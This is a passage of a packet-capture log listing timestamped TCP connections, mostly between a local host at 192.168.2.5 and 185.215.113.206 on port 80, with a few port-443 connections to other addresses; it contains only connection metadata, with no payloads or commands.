Nov 12, 2024 04:16:30.727991104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728002071 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728008032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728019953 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728053093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728065014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728075027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728085995 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728091002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728106022 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728112936 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728112936 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728136063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728147984 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728157997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728158951 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728171110 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728183031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728193998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728207111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728207111 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728218079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728230953 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728231907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728241920 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728241920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728266001 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728348017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728360891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728373051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728384018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728391886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728391886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728400946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728411913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728419065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728430033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728441000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728450060 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728450060 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728486061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728491068 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728492022 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728499889 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728509903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728522062 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728532076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728543043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728554964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728574991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728576899 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728586912 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728595018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728600979 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728607893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728620052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728631020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728636980 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728636980 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728646040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728656054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728672028 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728672028 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728684902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728694916 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728696108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728708982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728713989 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728724003 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728737116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728749037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728749990 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728760004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728774071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728782892 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728782892 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.728785038 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.728816986 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.729176998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.729204893 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.729259968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.729291916 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.729479074 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.738676071 CET	443	49827	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.742357969 CET	49827	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.742403030 CET	443	49827	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.742949009 CET	49827	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:30.742955923 CET	443	49827	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:30.755824089 CET	49841	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.755865097 CET	443	49841	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.755937099 CET	49841	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.811393976 CET	49841	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:30.811419010 CET	443	49841	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:30.820810080 CET	443	49828	18.161.170.14	192.168.2.5
Nov 12, 2024 04:16:30.821063995 CET	49828	443	192.168.2.5	18.161.170.14
Nov 12, 2024 04:16:30.821079969 CET	443	49828	18.161.170.14	192.168.2.5
Nov 12, 2024 04:16:30.821546078 CET	443	49828	18.161.170.14	192.168.2.5
Nov 12, 2024 04:16:30.822192907 CET	49828	443	192.168.2.5	18.161.170.14
Nov 12, 2024 04:16:30.822273970 CET	443	49828	18.161.170.14	192.168.2.5
Nov 12, 2024 04:16:30.822374105 CET	49828	443	192.168.2.5	18.161.170.14
Nov 12, 2024 04:16:30.843070030 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843125105 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843137026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843148947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843194962 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843204975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843215942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843228102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843241930 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843277931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843303919 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843328953 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843339920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843349934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843360901 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843372107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843378067 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843389034 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843394995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843405962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843414068 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843436003 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843453884 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843457937 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843466997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843477964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843488932 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843493938 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843502045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843514919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843528032 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843549967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843599081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843611002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843622923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843633890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843641996 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843646049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843656063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843662024 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843676090 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843687057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843692064 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843698978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843714952 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843749046 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843764067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843775034 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843785048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843795061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843803883 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843807936 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843822002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843832970 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843833923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843847036 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843861103 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843874931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843902111 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843904018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843915939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843926907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843938112 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843949080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843957901 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843965054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843976974 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.843987942 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.843990088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844002008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844013929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844018936 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844026089 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844043016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844046116 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844063997 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844069958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844083071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844090939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844094038 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844113111 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844122887 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844132900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844135046 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844146967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844172001 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844183922 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844183922 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844223976 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844249964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844260931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844269991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844280958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844291925 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844291925 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844304085 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844309092 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844333887 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844338894 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844352007 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844361067 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844364882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844388962 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844402075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844413996 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844414949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844443083 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844455957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844464064 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844466925 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844480038 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844491005 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844491959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844504118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844512939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844542027 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844645977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844655037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844674110 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844682932 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844696045 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844712973 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844747066 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844775915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844887018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844898939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844911098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844919920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844926119 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844933033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844945908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844955921 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844963074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844974995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844975948 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.844985962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.844996929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845000029 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.845010042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845027924 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.845045090 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845057011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845068932 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845079899 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845081091 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.845087051 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.845097065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845107079 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.845109940 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845123053 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845134020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845136881 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.845146894 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845164061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.845185041 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.845474005 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845516920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845524073 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.845529079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845555067 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.845573902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.845643997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845654011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845666885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845679045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845690012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845695972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.845701933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845715046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845721960 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.845729113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845746994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.845751047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845763922 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845766068 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.845803022 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.845813990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845825911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845837116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845849037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845865965 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.845890045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845896006 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.845902920 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845915079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845927000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845928907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.845943928 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845956087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.845963955 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.845993042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.846014977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846026897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846036911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846054077 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.846080065 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.846131086 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846144915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846155882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846168041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846169949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.846179962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846193075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846200943 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.846204042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846251011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.846268892 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846281052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846291065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846302986 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846314907 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846318960 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.846328020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846338034 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846338987 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.846353054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846358061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.846365929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846376896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846388102 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846390963 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.846407890 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.846426010 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.846434116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846460104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846472025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846506119 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.846517086 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.846539974 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846553087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846563101 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846579075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846586943 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.846595049 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.846609116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846621037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846626997 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.846632004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:30.846659899 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:30.846693993 CET	49750	80	192.168.2.5	185.215.113.206
